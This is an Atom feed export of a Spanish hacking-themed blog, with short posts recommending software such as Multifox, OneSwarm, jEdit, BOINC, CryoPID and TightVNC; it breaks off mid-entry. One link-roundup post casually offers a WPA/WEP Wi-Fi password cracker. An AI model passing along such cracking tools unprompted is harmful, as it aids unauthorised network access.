<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-6931281392920310751</id><updated>2012-01-19T17:45:26.221+01:00</updated><category term='Off-Topic'/><category term='Internet'/><category term='Cracking'/><category term='Sources'/><category term='Conexiones'/><category term='Windows'/><category term='Java'/><category term='Carding'/><category term='Programas'/><category term='Vulnerabilidades'/><category term='C++'/><category term='PHP'/><category term='S.O.&apos;s en General'/><category term='Scripting'/><category term='Forensic'/><category term='Tutoriales'/><category term='Ruby'/><category term='Linux'/><category term='Diseño Gráfico'/><category term='La Semana'/><category term='Administración del Blog'/><category term='Hacking'/><category term='IntRa-HacKerS TeaM'/><category term='Tecnología Móvil'/><category term='.NET'/><title type='text'>..:HackyBlogg:..</title><subtitle type='html'>If you want to stop them, you have to think as they do.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://hackybloggy.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://hackybloggy.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default?start-index=101&amp;max-results=100'/><author><name>guille10000</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>111</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-6931281392920310751.post-5644571639328051712</id><published>2011-07-20T19:23:00.000+02:00</published><updated>2011-07-20T19:23:43.459+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Administración del Blog'/><title type='text'>Invitaciones a Google+</title><content type='html'>Hace poco que conseguí mi cuenta de Google+, y ahora regalo invitaciones a los pocos lectores que le queden al blog.&lt;br /&gt;&lt;br /&gt;Si queréis una, dejad un comentario con vuestro e-mail (abstenerse de poner [AT], [ARROBA] o cosas así, sólo el email)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6931281392920310751-5644571639328051712?l=hackybloggy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackybloggy.blogspot.com/feeds/5644571639328051712/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6931281392920310751&amp;postID=5644571639328051712' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/5644571639328051712'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/5644571639328051712'/><link rel='alternate' type='text/html' href='http://hackybloggy.blogspot.com/2011/07/invitaciones-google.html' title='Invitaciones a Google+'/><author><name>Z-Cripter</name><uri>http://www.blogger.com/profile/12814985455656744673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6931281392920310751.post-1421890379520481901</id><published>2011-07-10T16:09:00.000+02:00</published><updated>2011-07-10T16:09:19.494+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><title type='text'>Multifox</title><content type='html'>Multifox es una extensión de Firefox que te permite hacer log en un mismo sitio web desde distintas cuentas. Muchas veces tenemos una cuenta, por ejemplo, profesional y otra más de tono personal en un mismo sitio, y tenemos que ir cambiando entre ambas con cierta frecuencia. Hacer 'log out' y 'log in' tantas veces puede ser un poco molesto, y Multifox es una herramienta excelente que nos va a permitir ahorrar mucho tiempo.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://br.mozdev.org/multifox/logo.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="55" src="http://br.mozdev.org/multifox/logo.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Por ejemplo, si tienes varias cuentas en gMail, puedes abrirlas todas a la vez. En cada ventana de Firefox, este complemento se encarga de administrar un acceso independiente en cada una sin que interfiera con el resto.&lt;br /&gt;&lt;br /&gt;Cada una de las ventanas tiene un número que indica el perfil de identificación. Los logins que haces en ventanas con distintos números son totalmente independientes de las otras.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://br.mozdev.org/multifox/profile-icon-en.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="68" src="http://br.mozdev.org/multifox/profile-icon-en.png" width="222" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Other Features&lt;/i&gt;&lt;br /&gt;Los logins se guardan de la misma forma que en las ventanas normales, incluso si cierras la ventana o cierras Firefox.&lt;br /&gt;El perfil de cada ventana se guarda cuando Firefox restaura la sesión.&lt;br /&gt;Las nuevas ventanas heredan el perfil de la ventana desde la que fueron abiertas.&lt;br /&gt;Multifox empieza en el número 2, porque considera el 1 la ventana normal de Firefox.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6931281392920310751-1421890379520481901?l=hackybloggy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackybloggy.blogspot.com/feeds/1421890379520481901/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6931281392920310751&amp;postID=1421890379520481901' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/1421890379520481901'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/1421890379520481901'/><link rel='alternate' type='text/html' href='http://hackybloggy.blogspot.com/2011/07/multifox.html' title='Multifox'/><author><name>guille10000</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6931281392920310751.post-4383915359544223</id><published>2011-05-15T21:14:00.002+02:00</published><updated>2011-07-10T15:57:24.400+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programas'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><category scheme='http://www.blogger.com/atom/ns#' term='Conexiones'/><title type='text'>OneSwarm, privatiza tus intercambios P2P</title><content type='html'>&lt;div style="border-collapse: collapse; font-family: arial, sans-serif; font-size: 13px;"&gt;A pesar de su popularidad,&amp;nbsp;&lt;b&gt;las aplicaciones peer-to-peer no ofrecen privacidad al usuario&lt;/b&gt;. Por defecto, servicio como BitTorrent o Gnutella comparten datos con cualquier cliente que los pida, permitiendo monitorizar las acciones de un usuario a terceras personas. Es decir, que usando una red P2P dejas que el registro de tus actividades online se vuelva de dominio público.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://www.oneswarm.org/images/oneswarm_header.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="107" src="http://www.oneswarm.org/images/oneswarm_header.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;OneSwarm es una herramienta P2P que ofrece al usuario un&amp;nbsp;&lt;b&gt;amplio control de su privacidad&lt;/b&gt;, configurando qué datos compartir. En lugar de compartir datos de forma indiscriminada, los datos y ficheros que configuremos con OneSwarm pueden hacerse públicos o establecer con qué personas queremos compartirlos. Podemos definir este programa, entonces, como un servicio F2F (riend-to-friend).&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Principales características&lt;/b&gt;:&lt;br /&gt;&lt;i&gt;Preserva la privacidad&lt;/i&gt;: OneSwarm usa 'source address' para proteger tu privacidad. En lugar de transmitir los datos directamente del remitente al destinatario, OneSwarm envía la información a través de múltiples intermediarios, ocultando así la identidad del emisor y receptor.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Interfaz user-friendly&lt;/i&gt;: La interfaz de OneSwarm tiene estructura web y soporta la reproducción de varios formatos de audio y video en tiempo real, acabando con la necesidad de algunos usuarios de aprender a manejar otras aplicaciones o de tener que buscar por Internet más códecs.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Código abierto&lt;/i&gt;: OneSwarm es totalmente gratis. Puede operar como un cliente totalmente compatible con BitTorrent, y la información que transmitimos mediante OneSwarm está encriptafa bajo potentes algoritmos, como certificados X.509 o SSL.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Enlaces:&lt;/b&gt;&lt;br /&gt;&lt;a href="http://www.oneswarm.org/" style="color: #0000cc;" target="_blank"&gt;Página principal&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.oneswarm.org/download.html" style="color: #0000cc;" target="_blank"&gt;Descarga&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.oneswarm.org/faq.html" style="color: #0000cc;" target="_blank"&gt;FAQ&lt;/a&gt;&lt;br /&gt;&lt;a href="http://wiki.oneswarm.org/" style="color: #0000cc;" target="_blank"&gt;Wiki&lt;/a&gt;&lt;/div&gt;&lt;div style="border-collapse: collapse; font-family: arial, sans-serif; font-size: 13px;"&gt;&lt;img alt="" height="1" src="https://blogger.googleusercontent.com/tracker/6931281392920310751-3723406038888026585?l=hackybloggy.blogspot.com" width="1" /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6931281392920310751-4383915359544223?l=hackybloggy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackybloggy.blogspot.com/feeds/4383915359544223/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6931281392920310751&amp;postID=4383915359544223' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/4383915359544223'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/4383915359544223'/><link rel='alternate' type='text/html' href='http://hackybloggy.blogspot.com/2011/05/oneswarm-privatiza-tus-intercambios-p2p.html' title='OneSwarm, privatiza tus intercambios P2P'/><author><name>guille10000</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6931281392920310751.post-8008441777871472922</id><published>2010-12-19T20:01:00.001+01:00</published><updated>2010-12-19T20:06:37.686+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='Sources'/><title type='text'>Convertir números a letras</title><content type='html'>Bueno, este es un código en PHP que cambia los números (1, 2, 100, 500, 1000...) en letras (one, two, one hundred, five hundred, one thousand...). Está en inglés pero es muy sencillo de configurar y traducir a español.&lt;br /&gt;&lt;a href="http://www.jooria.com/snippets?snippet=75"&gt;Link&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Saludos :D&lt;br /&gt;&lt;br /&gt;PD: Modelos de dialogs interesantes &lt;a href=http://www.lib.virginia.edu/scripts/yui_dialog_1.0/examples/demo.html&gt;aquí&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6931281392920310751-8008441777871472922?l=hackybloggy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackybloggy.blogspot.com/feeds/8008441777871472922/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6931281392920310751&amp;postID=8008441777871472922' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/8008441777871472922'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/8008441777871472922'/><link rel='alternate' type='text/html' href='http://hackybloggy.blogspot.com/2010/12/convertir-numeros-letras.html' title='Convertir números a letras'/><author><name>guille10000</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6931281392920310751.post-1976609057589890350</id><published>2010-06-24T11:31:00.009+02:00</published><updated>2010-06-24T11:31:00.549+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutoriales'/><category scheme='http://www.blogger.com/atom/ns#' term='Java'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><title type='text'>Plugins de jQuery</title><content type='html'>&lt;h2&gt;¿Qué es jQuery?&lt;/h2&gt;&lt;b&gt;jQuery&lt;/b&gt; es una biblioteca de Javascript que permite simplificar la manera de interactuar con los  documentos HTML, manipular el arbol DOM,  manejar eventos, desarrollar animaciones y agregar interacción con la  tecnología AJAX  a páginas web. En esta entrada se tratan tres plugins para este framework.&lt;br /&gt;&lt;h2&gt;Plugins a tratar:&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;Before/After Effect&lt;/li&gt;&lt;li&gt;jQuery clock&lt;/li&gt;&lt;li&gt;Cloud Zoom&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;h2&gt;Links: &lt;/h2&gt;&lt;span style="font-size: small;"&gt;&lt;i&gt;Before/After Effect:&lt;/i&gt;&lt;/span&gt; &lt;br /&gt;&lt;a href="http://www.catchmyfame.com/2009/06/25/jquery-beforeafter-plugin/"&gt;Home&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.catchmyfame.com/jquery/jquery.beforeafter.zip"&gt;Descarga&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.catchmyfame.com/jquery/demo/8/%20"&gt;Ejemplos&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;i&gt;jQuery clock:&lt;/i&gt;&lt;/span&gt; &lt;br /&gt;&lt;a href="http://home.comcast.net/%7Evonholdt/test/"&gt;Home&lt;/a&gt;&lt;br /&gt;&lt;a href="http://home.comcast.net/%7Evonholdt/test/clock_slide/index.htm"&gt;Ejemplo 1&lt;/a&gt;&lt;br /&gt;&lt;a href="http://home.comcast.net/%7Evonholdt/test/clock/index.htm"&gt;Ejemplo 2 &lt;/a&gt;&lt;br /&gt;&lt;a href="http://home.comcast.net/%7Evonholdt/test/word_clock/index.htm"&gt;Ejemplo 3&lt;/a&gt;&lt;br /&gt;&lt;a href="http://home.comcast.net/%7Evonholdt/test/clock.htm"&gt;Ejemplo 4&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;i&gt;Cloud Zoom:&lt;/i&gt;&lt;/span&gt; &lt;br /&gt;&lt;a href="http://www.professorcloud.com/mainsite/cloud-zoom.htm"&gt;Home&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.professorcloud.com/downloads/cloud-zoom.1.0.2.zip"&gt;Descarga&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6931281392920310751-1976609057589890350?l=hackybloggy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackybloggy.blogspot.com/feeds/1976609057589890350/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6931281392920310751&amp;postID=1976609057589890350' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/1976609057589890350'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/1976609057589890350'/><link rel='alternate' type='text/html' href='http://hackybloggy.blogspot.com/2010/06/plugins-de-jquery.html' title='Plugins de jQuery'/><author><name>Z-Cripter</name><uri>http://www.blogger.com/profile/12814985455656744673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6931281392920310751.post-1083495901346285513</id><published>2010-06-18T23:54:00.000+02:00</published><updated>2010-06-18T23:54:30.408+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programas'/><category scheme='http://www.blogger.com/atom/ns#' term='Java'/><title type='text'>jEdit</title><content type='html'>jEdit es un editor de texto para programadores en plan Notepad++, distribuido como software libre de código abierto bajo una licencia GPL.  &lt;br /&gt;También podemos encontrar una larga colección de plugins mantenidos por el departamento de desarrollo.&lt;br /&gt;Algunas características:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://www.jedit.org/jedit-snap-24.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;img border="0" height="240" src="http://www.jedit.org/jedit-snap-24.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;Escrito en Java (es multiplataforma).&lt;/li&gt;&lt;li&gt;Una larga lista de macros y plugins disponibles.&lt;/li&gt;&lt;li&gt;Tiene un administrador de plugins desde el que puedes descargar e instalar los complementos.&lt;/li&gt;&lt;li&gt;Resalte de colorines para más de 130 lenguajes.&lt;/li&gt;&lt;li&gt;Ajuste de línea.&lt;/li&gt;&lt;li&gt;Altamente configurable y personalizable.&lt;/li&gt;&lt;/ul&gt;&lt;a href="http://www.jedit.org/index.php"&gt;Home&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.jedit.org/index.php?page=features"&gt;Características&lt;/a&gt;&lt;br /&gt;&lt;a href="http://plugins.jedit.org/"&gt;Complementos&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.jedit.org/index.php?page=download"&gt;Descarga&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Saludos :D &lt;br /&gt;&lt;ul&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6931281392920310751-1083495901346285513?l=hackybloggy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackybloggy.blogspot.com/feeds/1083495901346285513/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6931281392920310751&amp;postID=1083495901346285513' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/1083495901346285513'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/1083495901346285513'/><link rel='alternate' type='text/html' href='http://hackybloggy.blogspot.com/2010/06/jedit.html' title='jEdit'/><author><name>guille10000</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6931281392920310751.post-6554504990048354059</id><published>2010-06-14T17:59:00.000+02:00</published><updated>2010-06-14T17:59:04.878+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Off-Topic'/><title type='text'>PyH Podcast</title><content type='html'>Guille me dio una idea. Dicho y hecho. El podcast de programación y hacking es una realidad.&lt;br /&gt;&lt;a href="http://pyh-pod.blogspot.com/"&gt;http://pyh-pod.blogspot.com/&lt;/a&gt;&lt;br /&gt;http://twitter.com/pyhpodcast&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6931281392920310751-6554504990048354059?l=hackybloggy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackybloggy.blogspot.com/feeds/6554504990048354059/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6931281392920310751&amp;postID=6554504990048354059' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/6554504990048354059'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/6554504990048354059'/><link rel='alternate' type='text/html' href='http://hackybloggy.blogspot.com/2010/06/pyh-podcast.html' title='PyH Podcast'/><author><name>Z-Cripter</name><uri>http://www.blogger.com/profile/12814985455656744673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6931281392920310751.post-8289202752093394668</id><published>2010-06-02T04:03:00.001+02:00</published><updated>2010-06-02T04:03:00.366+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><title type='text'>Un par de regalitos</title><content type='html'>Hoy traemos una &lt;b&gt;mini&lt;/b&gt;-entrada con tres links muy interesantes:&lt;br /&gt;&lt;a href="http://cssdesk.com/"&gt;Una sandbox de CSS, prueba tus diseños.&lt;/a&gt;&lt;br /&gt;&lt;a href="http://codase.com/"&gt;El famoso buscador de código&lt;/a&gt;&lt;br /&gt;&lt;a href="http://code.google.com/p/grimwepa/"&gt;Un crackeador de contraseñas de redes WPA y WEP&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.balldroppings.com/"&gt;Este musical juego&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6931281392920310751-8289202752093394668?l=hackybloggy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackybloggy.blogspot.com/feeds/8289202752093394668/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6931281392920310751&amp;postID=8289202752093394668' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/8289202752093394668'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/8289202752093394668'/><link rel='alternate' type='text/html' href='http://hackybloggy.blogspot.com/2010/06/un-par-de-regalitos.html' title='Un par de regalitos'/><author><name>Z-Cripter</name><uri>http://www.blogger.com/profile/12814985455656744673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6931281392920310751.post-1930046754753294868</id><published>2010-05-27T19:34:00.000+02:00</published><updated>2010-05-27T19:35:31.052+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programas'/><title type='text'>BOINC, un proyecto de computación voluntaria</title><content type='html'>¿Qué es BOINC? Pues un programa que te permite usar el tiempo que dejes tu PC encendido para ayudar a colectivos. Básicamente usan tu RAM y tu ordenador para curar enfermedades, estudiar el calentamiento global, descubrir  pulsares, y haga muchos otros tipos de investigación científica. Es  seguro, estable, y fácil:&lt;br /&gt;&lt;ol&gt;&lt;li&gt; Elige proyectos &lt;/li&gt;&lt;li&gt; Descarga y ejecuta BOINC &lt;/li&gt;&lt;li&gt; Introduce una dirección de correo electrónico y una contraseña.&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;a href="http://boinc.berkeley.edu/"&gt;Home&lt;/a&gt;&lt;br /&gt;&lt;a href="http://boinc.berkeley.edu/download.php"&gt;Descarga&lt;/a&gt;&lt;br /&gt;&lt;a href="http://boinc.berkeley.edu/projects.php"&gt;Lista de proyectos&lt;/a&gt;&lt;br /&gt;&lt;a href="http://boinc.berkeley.edu/wiki/User_manual"&gt;Documentación&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Saludos :D&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6931281392920310751-1930046754753294868?l=hackybloggy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackybloggy.blogspot.com/feeds/1930046754753294868/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6931281392920310751&amp;postID=1930046754753294868' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/1930046754753294868'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/1930046754753294868'/><link rel='alternate' type='text/html' href='http://hackybloggy.blogspot.com/2010/05/boinc-un-proyecto-de-computacion.html' title='BOINC, un proyecto de computación voluntaria'/><author><name>guille10000</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6931281392920310751.post-6540702185380458727</id><published>2010-05-27T19:11:00.001+02:00</published><updated>2010-05-27T19:18:26.456+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programas'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>CryoPID</title><content type='html'>CryoPIDte permite capturar el estado de un proceso abierto en Linux y guardarlo en un archivo. Este archivo se puede usar para continuar el proceso en otro momento, después de reiniciar el PC o incluso en otro ordenador.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img138.imageshack.us/img138/6489/capturaa.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://img138.imageshack.us/img138/6489/capturaa.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;h2&gt;&lt;span style="font-size: small;"&gt;&lt;i style="font-weight: normal;"&gt;click para ver completa&lt;/i&gt;&lt;/span&gt; &lt;/h2&gt;&lt;h2&gt;Estado&lt;/h2&gt;CryoPID consiste en un programa llamado &lt;tt&gt;&lt;b&gt;freeze&lt;/b&gt;&lt;/tt&gt; que captura el estado de un proceso en ejecución y lo escribe a un archivo. Este archivo es auto-ejecutable y auto-extraíble, así que para continuar el proceso sólo tienes que abrir el archivo.  &lt;br /&gt;&lt;h2&gt;Características&lt;/h2&gt;Las características de la última versión son:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Puede ser ejecutado como un usuario normal (no necesitas privilegios de administrador).&lt;/li&gt;&lt;li&gt;Funciona en 2.4 y 2.6.&lt;/li&gt;&lt;li&gt;Funciona en x86 y AMD64.&lt;/li&gt;&lt;li&gt;Puede empezar y parar un proceso varias veces.&lt;/li&gt;&lt;li&gt;Puede migrar procesos entre ordenadores y entre versiones de kernel.&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Página oficial&lt;/h2&gt;&lt;a href="http://cryopid.berlios.de/"&gt;Link&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6931281392920310751-6540702185380458727?l=hackybloggy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackybloggy.blogspot.com/feeds/6540702185380458727/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6931281392920310751&amp;postID=6540702185380458727' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/6540702185380458727'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/6540702185380458727'/><link rel='alternate' type='text/html' href='http://hackybloggy.blogspot.com/2010/05/cryopid.html' title='CryoPID'/><author><name>Z-Cripter</name><uri>http://www.blogger.com/profile/12814985455656744673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6931281392920310751.post-3253073792282944611</id><published>2010-05-05T22:07:00.000+02:00</published><updated>2010-05-05T22:07:00.484+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programas'/><title type='text'>TightVNC</title><content type='html'>&lt;h3&gt;¿Qué es TightVNC?&lt;/h3&gt;&lt;a href="http://www.tightvnc.com/screenshots/accesscontrol.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img alt="Access Control" border="0" height="436" src="http://www.tightvnc.com/screenshots/accesscontrol.png" width="495" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br 